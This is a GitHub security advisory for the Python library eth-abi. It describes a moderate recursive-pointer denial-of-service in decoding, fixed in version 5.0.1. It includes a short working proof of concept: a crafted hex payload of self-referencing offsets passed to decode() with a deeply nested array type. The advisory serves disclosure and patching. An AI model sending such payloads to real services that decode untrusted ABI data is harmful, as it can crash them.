Skip to content

eth-abi is vulnerable to recursive DoS

Moderate severity GitHub Reviewed Published Mar 4, 2024 in ApeWorX/eth-abi • Updated Sep 1, 2026

Package

pip eth-abi (pip)

Affected versions

<= 5.0.0

Patched versions

5.0.1

Description

This is related to recent ZST stuff (GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))

References

@pacrob pacrob published to ApeWorX/eth-abi Mar 4, 2024
Published to the GitHub Advisory Database Mar 5, 2024
Reviewed Mar 5, 2024
Last updated Sep 1, 2026

Severity

Moderate

EPSS score

Weaknesses

Improper Validation of Specified Index, Position, or Offset in Input

The product receives input that is expected to specify an index, position, or offset into an indexable resource such as a buffer or file, but it does not validate or incorrectly validates that the specified index/position/offset has the required properties. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-3qwc-47jf-5rf7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.